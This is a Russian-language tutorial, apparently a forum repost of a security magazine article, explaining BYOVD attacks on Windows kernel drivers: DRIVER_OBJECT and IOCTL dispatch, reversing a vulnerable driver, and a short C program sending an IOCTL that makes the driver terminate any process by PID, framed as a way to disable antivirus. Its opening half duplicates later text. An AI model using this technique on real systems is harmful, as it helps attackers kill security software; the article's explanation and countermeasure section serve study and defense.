stihl не предоставил(а) никакой дополнительной информации.
Многие именитые хакерские группировки, например северокорейская Lazarus, используют доступ к пространству ядра через атаку BYOVD при выполнении сложных APT-нападений. Тот же метод используют авторы инструмента Terminator, а также операторы различных шифровальщиков. В этой статье мы подробно разберем, как работает BYOVD и почему эта атака стала популярной.
Но в Microsoft тоже об этом догадывались и в итоге довели контроль целостности ядра до достаточно высокого уровня, обломав всю малину любителям нестандартного программирования. Вот тогда все вспомнили про BYOVD, потому что реализовать эту атаку значительно проще, чем искать зиродеи в механизме контроля целостности ядра.
BYOVD дает хорошие возможности: позволяет отключать антивирусы, поднимать привилегии (LPE) и делать другие интересные фокусы, в зависимости от того, какой драйвер атакован.
В конце концов, ядро всегда было лакомым кусочком для хакеров всех мастей. Давай разберемся, как работает эта атака.
Чтобы приложение из пользовательского режима могло взаимодействовать с драйвером, работающим в режиме ядра, создается устройство драйвера при помощи функции Для просмотра ссылки Войдиили Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся и символическая ссылка на него при помощи Для просмотра ссылки Войди или Зарегистрируйся.
Вот фрагмент кода в реальном драйвере, где происходит создание символической ссылки на него.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь разберемся с тем, как приложение пользовательского режима заставляет драйвер выполнить какое‑либо действие.
Обрати внимание на поле PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] в структуре DRIVER_OBJECT. Это поле — массив указателей на функции, которые будет выполнять драйвер в определенных условиях (то есть, по сути, список выполняемых драйвером действий).
Прежде всего нас интересует IRP_MJ_DEVICE_CONTROL — это один из кодов функций IRP (I/O Request Packet) в массиве MajorFunction. Он используется для обработки запросов на управление устройством драйвера, таких как чтение и запись данных. Чтобы было нагляднее, пример кода драйвера, отвечающий за инициализацию разных функций IRP:
В этой функции IOCTL_CUSTOM_COMMAND и IOCTL_ANOTHER_COMMAND — это просто дефайны, содержащие номера IOCTL. Их будет отправлять пользовательское приложение в драйвер. По запросу приложений функции будут выполняться уже в драйвере и с приоритетом ring 0. Часть switch-case в функции DispatchDeviceControl — одна из самых интересных для нас, потому что как раз содержит номера управляющих IOCTL-запросов.
Так как это реальный драйвер, уязвимый для BYOVD, его начальный код может несколько отличаться от простейшего макета драйвера. Чтобы попасть в области кода, содержащие создание устройства, символической ссылки и начало инициализации массива MajorFunction, проследим, куда ведет аргумент DriverObject, ведь он обязателен для действий инициализации. В итоге находим это место, оно рядом с кодом создания символической ссылки. Но так бывает не всегда.
Заполнение MajorFunction
Строчка с memset инициализирует массив MajorFunction. Идем в функцию sub_140014890, указанную в аргументе, видим много кода.
Поиск функции диспетчеризации
Отыскиваем функцию диспетчеризации по ее прототипу (помнишь, я говорил, что его надо запомнить?) — просто прослеживаем, куда идет аргумент, содержащий IRP. А уже внутри функции видим код инициализации разных элементов MajorFunction.
Инициализируются элементы MajorFunction
Нам интересен именно IRP_MJ_DEVICE_CONTROL, поэтому смотрим в функцию sub_140018ff8 и находим в ней различные case, которые и реализуют управляющие коды IOCTL.
Наблюдаем различные IOCTL
Теперь дело техники: нужно посмотреть, что делает каждый case, чтобы найти что‑то интересное и полезное для нас. Немножко осмотревшись в коде, находим функцию, которая умеет завершать процессы по переданному PID.
ZwOpenProcess и ZwTerminateProcess не могут не заинтересовать
Как видно из кода, функция завершает процесс, используя обращение к ZwTerminateProcess. То, что нужно! Запоминаем номер IOCTL-запроса, который вызывает эту функцию.
или Зарегистрируйся, вот ее прототип:
Обрати внимание на параметр hDevice — его мы извлекаем из нашего дизасма, в момент, когда формируется символическая ссылка. А параметр dwIoControlCode — это номер ветки case, которая содержит вызов ZwTerminateProcess.
Код предельно прост: при помощи CreateFileA мы получаем дескриптор устройства драйвера по его ссылке, которую мы обнаружили в процессе реверса, а вызов функции DeviceIoControl дает прямое указание драйверу выполнить то действие, которое указывается IOCTL-кодом (аргумент dwIoControlCode). В нашем случае это завершение процесса по его ID. После выполнения этого кода драйвер при помощи вызова функции ZwTerminateProcess завершит процесс прямо из ядра!
Все эти меры работают вместе и стали эффективными средствами для предотвращения атак BYOVD. Но сработают они, только если пользователь их не отключил специально, например для улучшения производительности.
www
- Для просмотра ссылки Войди
или Зарегистрируйся (Хакер) - Для просмотра ссылки Войди
или Зарегистрируйся (Хакер) - Для просмотра ссылки Войди
или Зарегистрируйся (SecurityLab)
Но в Microsoft тоже об этом догадывались и в итоге довели контроль целостности ядра до достаточно высокого уровня, обломав всю малину любителям нестандартного программирования. Вот тогда все вспомнили про BYOVD, потому что реализовать эту атаку значительно проще, чем искать зиродеи в механизме контроля целостности ядра.
BYOVD дает хорошие возможности: позволяет отключать антивирусы, поднимать привилегии (LPE) и делать другие интересные фокусы, в зависимости от того, какой драйвер атакован.
В конце концов, ядро всегда было лакомым кусочком для хакеров всех мастей. Давай разберемся, как работает эта атака.
Как устроен драйвер
Для начала нам нужно понимать, что такое драйвер в Windows и как он устроен. Очевидно, что, как и у любого другого приложения, у драйвера есть точка входа, которая называется DriverEntry и имеет следующий прототип:
Код:
NTSTATUS DriverEntry (
In PDRIVER_OBJECT DriverObject,
In PUNICODE_STRING RegistryPath
);
Видим, что в основную функцию драйвера передаются два аргумента: DriverObject, представляющий собой указатель на структуру DRIVER_OBJECT, которая содержит информацию о драйвере, и указатель на строку RegistryPath с путем к файлу драйвера. Сама структура DRIVER_OBJECT выглядит так:
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
Чтобы приложение из пользовательского режима могло взаимодействовать с драйвером, работающим в режиме ядра, создается устройство драйвера при помощи функции Для просмотра ссылки Войди
Вот фрагмент кода в реальном драйвере, где происходит создание символической ссылки на него.
Для просмотра ссылки Войди
Теперь разберемся с тем, как приложение пользовательского режима заставляет драйвер выполнить какое‑либо действие.
Обрати внимание на поле PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] в структуре DRIVER_OBJECT. Это поле — массив указателей на функции, которые будет выполнять драйвер в определенных условиях (то есть, по сути, список выполняемых драйвером действий).
Прежде всего нас интересует IRP_MJ_DEVICE_CONTROL — это один из кодов функций IRP (I/O Request Packet) в массиве MajorFunction. Он используется для обработки запросов на управление устройством драйвера, таких как чтение и запись данных. Чтобы было нагляднее, пример кода драйвера, отвечающий за инициализацию разных функций IRP:
Код:
NTSTATUS DispatchRead(
In PDEVICE_OBJECT DeviceObject,
Inout PIRP Irp
)
{
UNREFERENCED_PARAMETER(DeviceObject);
// Обработка операции чтения файла
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
...
NTSTATUS DriverEntry:
// Заполнение массива MajorFunction
DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
// Код, выполняющийся при событии IRP_MJ_READ
DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
info
Input/Output Control, или IOCTL, — это механизм взаимодействия между пользовательским приложением и драйвером устройства в Windows. IOCTL позволяет приложению отправлять управляющие команды и запросы к драйверам устройств для выполнения различных операций, таких как чтение или запись данных, установка параметров устройства, получение информации о состоянии устройства и многое другое. Когда приложение отправляет IOCTL, операционная система передает запрос соответствующему драйверу устройства, который затем выполняет нужное действие и возвращает результат операции.
IOCTL-запросы обрабатываются в специальной функции Для просмотра ссылки Войдиили Зарегистрируйся, вот ее прототип (запомни его, он нам понадобится, чтобы найти эту функцию в дизассемблере):
Код:
NTSTATUS DriverDispatch(
[in, out] _DEVICE_OBJECT *DeviceObject,
[in, out] _IRP *Irp
)
Код обработки IOCTL-запросов к драйверу, реализованной в функции DriverDispatch, может выглядеть примерно так:
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(controlCode)
{
case IOCTL_CUSTOM_COMMAND:
// Обработка пользовательской команды
status = ProcessCustomCommand(DeviceObject, Irp);
break;
case IOCTL_ANOTHER_COMMAND:
// Обработка другой пользовательской команды
status = ProcessAnotherCommand(DeviceObject, Irp);
break;
default:
// Неизвестная команда, возвращаем ошибку
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
В этой функции IOCTL_CUSTOM_COMMAND и IOCTL_ANOTHER_COMMAND — это просто дефайны, содержащие номера IOCTL. Их будет отправлять пользовательское приложение в драйвер. По запросу приложений функции будут выполняться уже в драйвере и с приоритетом ring 0. Часть switch-case в функции DispatchDeviceControl — одна из самых интересных для нас, потому что как раз содержит номера управляющих IOCTL-запросов.
Исследуем драйвер
После того как мы ознакомились с базовой структурой драйвера, поняли, как драйвер взаимодействует с юзермодом, настало время реверса! Загружаем подопытный драйвер в IDA Pro и видим точку входа драйвера.Так как это реальный драйвер, уязвимый для BYOVD, его начальный код может несколько отличаться от простейшего макета драйвера. Чтобы попасть в области кода, содержащие создание устройства, символической ссылки и начало инициализации массива MajorFunction, проследим, куда ведет аргумент DriverObject, ведь он обязателен для действий инициализации. В итоге находим это место, оно рядом с кодом создания символической ссылки. Но так бывает не всегда.

Строчка с memset инициализирует массив MajorFunction. Идем в функцию sub_140014890, указанную в аргументе, видим много кода.

Отыскиваем функцию диспетчеризации по ее прототипу (помнишь, я говорил, что его надо запомнить?) — просто прослеживаем, куда идет аргумент, содержащий IRP. А уже внутри функции видим код инициализации разных элементов MajorFunction.

Нам интересен именно IRP_MJ_DEVICE_CONTROL, поэтому смотрим в функцию sub_140018ff8 и находим в ней различные case, которые и реализуют управляющие коды IOCTL.

Теперь дело техники: нужно посмотреть, что делает каждый case, чтобы найти что‑то интересное и полезное для нас. Немножко осмотревшись в коде, находим функцию, которая умеет завершать процессы по переданному PID.

Как видно из кода, функция завершает процесс, используя обращение к ZwTerminateProcess. То, что нужно! Запоминаем номер IOCTL-запроса, который вызывает эту функцию.
Пишем код
Итак, реверс драйвера принес свои плоды, теперь нам нужно написать инструмент, который поможет проэксплуатировать драйвер и заставить его завершить любой процесс по нашей команде. Но сначала нам нужно обратиться к драйверу. Из юзермода это можно сделать при помощи функции Для просмотра ссылки Войди
Код:
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
Код:
int main() {
int status = 0, proc_id = 0;
DWORD retBytes = 0;
scanf("%u", &proc_id);
HANDLE hDevice = CreateFileA(
"\\\\.\\my_driver",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL);
CloseHandle(hDevice);
return 0;
}
Код предельно прост: при помощи CreateFileA мы получаем дескриптор устройства драйвера по его ссылке, которую мы обнаружили в процессе реверса, а вызов функции DeviceIoControl дает прямое указание драйверу выполнить то действие, которое указывается IOCTL-кодом (аргумент dwIoControlCode). В нашем случае это завершение процесса по его ID. После выполнения этого кода драйвер при помощи вызова функции ZwTerminateProcess завершит процесс прямо из ядра!
Можно ли защититься?
Разумеется, эта техника — не «серебряная пуля», потому что были разработаны контрмеры, которые помогают минимизировать риски, связанные с BYOVD:- отзыв сертификата подписи драйвера;
- черный список драйверов;
- Virtualization-based Security (VBS) и Hypervisor-Protected Code Integrity (HVCI).
Все эти меры работают вместе и стали эффективными средствами для предотвращения атак BYOVD. Но сработают они, только если пользователь их не отключил специально, например для улучшения производительности.